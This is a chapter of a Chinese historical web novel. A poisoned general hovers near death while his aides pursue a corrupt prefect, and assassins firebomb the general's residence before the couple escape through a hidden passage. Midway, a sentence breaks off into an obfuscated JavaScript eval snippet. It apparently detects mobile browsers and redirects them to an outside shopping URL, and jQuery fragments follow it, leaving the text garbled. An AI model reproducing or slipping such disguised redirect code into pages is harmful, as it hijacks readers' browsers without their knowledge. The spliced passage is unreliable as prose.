窗外淅淅沥沥下起小雨,雨气蒸腾解了些酷热,寒气见缝插针袭来,谢期榕蹙紧眉头,一阵阵打颤。
大夫年纪老迈熬不住,支着额头在桌前打瞌睡。
云渝眼尖瞧见帐里的动静,赶忙将人唤醒。
“大夫快醒醒,将军是不是要醒了。”
谢期榕身下的被褥湿透,嘴里迷糊地呢喃。
云渝凑上去时又没了声响,猜是要水,倒了杯温茶,回头就是大夫一脸为难冲他叹气。
不用多说,心中立时一咯。
大夫直言:“将军的毒,我解不了。”
“毒箭及时拔出,有效缓解了毒发的速度,但之后运气行功催发了毒气运转,那毒闻所未闻,无法对症下药,将军现在又发了热,我能做的,只有开些散热清毒的寻常药,将军能不能熬过去,全看天命。”
江湖中的巫毒蛊术千奇百怪,他一生行医,自诩医术了得,可遇到此毒,也只能束手无策。
“怎会……”云渝双瞳一缩,险些拿不稳茶盏。
“江湖的毒只有江湖人能解,有本事的江湖神医大多性情高傲,常人难寻,我学艺不精,已是使出浑身解数,”大夫长叹一口气,“太医院的诸位来了,怕也是凶多吉少,而且路途遥远,一来一回到这,也、也晚了。”
老大夫留下一句尽早准备后事,他去熬药后,逃也似的离开。
老大夫是从京里带来的,当日全兴源的大夫聚在将军病榻前,头一个比一个摇得狠,说没救了。
只有老大夫说能吊上一吊,说是吊命,可都期盼着能将人吊活,今日这个说辞,竟是当真救不活了吗?
悲怆的茫凉感席卷而来。
郡君遇刺的消息已经传回京都,谢期榕光躺在床上已去了半条命,路上受洪灾影响,路途难行,现在回去,一路颠簸,谢期榕说不准能直接折在半道。
彦博远临危受命挑大梁,兴源上上下下兵荒马乱,知府全家下了大狱,东沟知县施显民被‘畏罪自杀’,抄家前夕吊死在了自家。
府衙监牢里一时人满为患,跟菜场鸡笼似的,人挤人,晚上睡觉都要站着睡,好在他们也没心思睡。
审讯室里的嘶喊嚎叫彻夜未歇,彦博远忙得脚不沾地,出事后,云渝只匆匆见了他一面。
疏于打理的下巴被胡茬遮住,眼下乌青,双眼通红,夜里连个囫囵觉都睡不得,浓茶当饭灌,把云渝心疼得够呛。
这朝谢期榕被下了死期,云渝身边没人宽慰,一个床榻昏迷,一个茫然无助,窗外的雨下得愈发急促,骤雨打在瓦上的响声盖过了谢期榕口中难耐的吐息。
“……”
云渝骤然回神,胡乱抹了把脸,急忙端茶上前。
“将军你醒了!”
谢期榕气息微弱,高热让他眼神涣散含着水汽,模模糊糊见床前有个影子。
“渝哥儿?”
“是,是我。”云渝凑近,仔细辨别他的话语。
“我昏睡了多久,案子进展如何?”
“将军昏迷了三日,案子按照将军的吩咐,由彦博远接手,现查出主谋为知府林洪杰,他被摘印下狱,其余一干人等也已抓捕归案,案子进展顺利,将军想知道更详细的东西,我去叫知情的大人来说,大体局面已经控制住了。”
云渝把这几天知道的事情一口气说完,喂谢期榕喝了两口水,也不知他听进去了多少。
大夫也被重新叫回来,见将军醒来直呼命不该绝,续命的汤药一碗碗下肚。
他其实想说回光返照来着,但谢期榕醒来,他没敢说,怕被将军拉去陪葬。
只敢趁谢期榕昏睡的时候,在人后说说这样子。
彦博远得到消息,紧赶慢赶回来,运气不好,没赶上谢期榕清醒的时候。
谢期榕昏昏醒醒吊着口气,醒来听两句案子进展,不发一言又昏迷,云渝在旁提心吊胆,夜里亲自守夜,时不时去摸摸鼻息,不能安寝。
审讯室的地面一日清洗十来遍,都掩盖不住那浸入地底的腥臭味。
林洪杰是里面的常客,浑身没片好肉,颠来倒去的吐话,能审的都审出来了,能卖的同伙也都卖了,那位在边疆矿场的前任知府终于能松快一些,过不了多久就能一块脑袋搬家了。
他为了掩盖罪行,把施显民灭口,秦师爷机警,发现他准备连他一块灭口的时候果断反叛,为求特赦,将一干老底掏出。
一桩桩一件件,手上的人命何止千百,简直罄竹难书,够把他们九族的地皮犁个十来回。
彦博远查验过十几箱子的账册罪证,并着供词一块收整妥当,兹事体大,这些都要运往京都,入刑部和大理寺复核,由圣人裁夺。
连熬了五日的夜,下了不下百道的命,这才将将把人全逮住。
彼时的府衙也没剩下几个活人,全靠将军底下的人和都察院临时调拨的人手,才勉强稳住府衙日常的运转。
连日的阴雨停歇,难得放晴了两日。
彦博远顶着倦容,踏出地牢,见着天边初升的朝阳眯了眯眼。
终于能喘上两口气,谢期榕一日不转好,累得云渝也愈发憔悴,衣不解带照顾,兜兜绕绕一圈,最后还是做了回贴身小厮。
夫夫二人心力交瘁。
想到谢期榕的病情,彦博远才缓和的面色一绷,轻叹一口气。
张贴布告求医问药,有江湖大夫揭榜,见了人就摇头叹气,没人能治。
一天天全靠精贵药材吊着命,熬到第三天,醒了一回,之后就时不时醒上一两息,有了丝希望,说不准哪天能好。
彦博远收回神思,天边突然传来轰隆震响,继而火光冲天,他错愕抬头,看清烟火传来的方向,顿时目眦欲裂。
将军府!
-
早两日阴雨不断,地面尚且潮湿,耐不住火药猛烈,将军府内一片红光。
火药炸炮等物受朝廷管控,军械库中都没多少,民间之人轻易见不到,将军府地处内城,周遭都是普通百姓人家,被雷火震撼,慌不择路,洪水才过去,又遭这惊吓,街上人仰马翻的。
天还没有彻底亮,天边的霞光和将军府内的火光相辉映。
街上混乱,马匹不能行,彦博远发了命地跑来,将军府内浓烟滚滚,里头还有厮杀声,他眼眶通红,体内似有股气息横冲直撞,整个人控制不住一颤,喉口一腥,喷出一口血来。
路人惊惧地看着他吐出一口老血,淡定一抹,没事人一样往火场里冲。
也不能说没事人,看着身体不好,脑子也不聪明。
“喂,那里起火了,进去会死的——”
彦博远充耳不闻,照着记忆里的位置去,进门不远处有方锦鲤池,他沉默地将外袍解开往池里一荡,往头上一盖就往火里冲。
“彦大人,彦大人别进去。”
将军府外面看着火大,进到里面才发现全集中在主院外围的耳房中。
主屋被火舌舔到,门窗燃烧,内里看不出样式。
空旷的屋院前,府兵正和蒙面的刺客厮打。
“彦大人,此处危险,还请您移步小花厅。”
彦博远聋了一样直奔主卧,护卫用了些力气才将人拦住,碰上彦博远骇人的眸子一颤,看他还
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16607970|183242||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
想往里冲,担心被刺客听到再给人引到小花厅,顶着压力,凑到彦博远耳边小声道:“彦大人,屋里没人,将军和彦夫郎现在在小花厅。”
彦博远一口气差点没上来,狠狠闭了闭眼,转身大跨步去小花厅,身后刺客果然发现不对,想要追去,却被彦博远带来的人缠住。
将军府护卫严密,刺客靠近不了主院就掷了炸炮进去,谁也没想到会有这东西出现,一时之间没防住。
但距离尚有些远,炸药只够到了周遭几间屋舍,云渝和谢期榕在的屋子最后才烧着。
过程还是有些惊险,说起来,还多亏了云渝一直带着的朱砂佩。
谢期榕瘫痪在床,屋外人都被刺客缠住,时不时有冷箭射入,云渝立时就要拉着谢期榕往床底下躲避。
谢期榕浑身健硕肌肉,瞧着不胖但死沉。
云渝小胳膊小腿哪里搬得动。
内侍小厮一块帮忙扛人,慌乱之间,腰间挂着的朱砂玉佩被甩飞,云渝下意识地去捞。
这么一撇一空的动作,谢期榕左半边身子直接往地上砸,云渝接不过来,就这么看着他脸朝下,往床边案几砸去。
这一砸,脸不得开花。
云渝手脚慌乱,扯住半截子衣袖将人拉偏,好歹把脸救下了。
谢期榕半边胳膊砸到案几上的木雕摆件,那摆件顺着力道往东边那么一偏。
“床边的屏风就原地转了一圈,床榻西边就凭空多了一道儿门!”
云渝对着彦博远的发顶十分激动。
“谁也想不到那屋子还有暗道,要不是那道暗门,我们这回怕是凶多吉少。”
要是就那么扛着谢期榕出去,出了寝室门就是活靶子,留在屋里,浓烟进来人也受不住,火也往这燎,谢期榕一个不省人事的,能直接无知无觉成烤猪。
云渝白皙的脚上布满细小划痕,彦博远捧着他的脚丫子上药。
事发突然,云渝脱了鞋袜在榻上小憩,打杀开始后鞋子都来不及穿,暗道地上碎石块多,出了暗道,园子小路上也都是碎石草枝,身上还背着个重物谢期榕,一路行得胆战心惊,当时不觉得疼,见了彦博远心彻底回落时才发觉了痛。
“是我不对,我光想着将军府护卫多,没想到要他命的人多如过江之鲫,连炸炮这种朝廷管控的东西都拿出来了。”
彦博远自责,心里发酸。
“我不该留你一人。”
是他没把人护好。
“话不能这么说,要不是我在里头,将军还不定如何呢,而且将军那般样子,就算你不让我留在将军府,我也是要时时过来看顾,说不准来的时候倒霉正巧碰上。”
“莫要胡说。”
云渝话没说完,彦博远的大手盖在他嘴上,堵住了之后的话。
云渝眼睛瞪大,一脸不可置信地看向他的手。
彦博远手上沾着药膏,一股草药的味道在鼻尖漫开。
但重点不是这个,重点是:“你这手刚还在我脚上!!!”
“自己的脚还这么嫌弃。”彦博远讪讪放手,“渝哥儿脚香,我想亲还亲不到呢。”
“那你亲啊。”云渝急辩。
说完脸一红。
彦博远一脸不可言说的戏谑,嘴角微勾。
云渝一脚从彦博远手里抽出,往衣摆里缩。
彦博远遗憾地看着快到嘴的白皙脚丫在衣料下一闪而过,藏入衣摆之内。
云渝颇为不自在,拧巴着手不去看他。
说得像是以往没亲过一样。
瞧那馋样。
啧。
出息!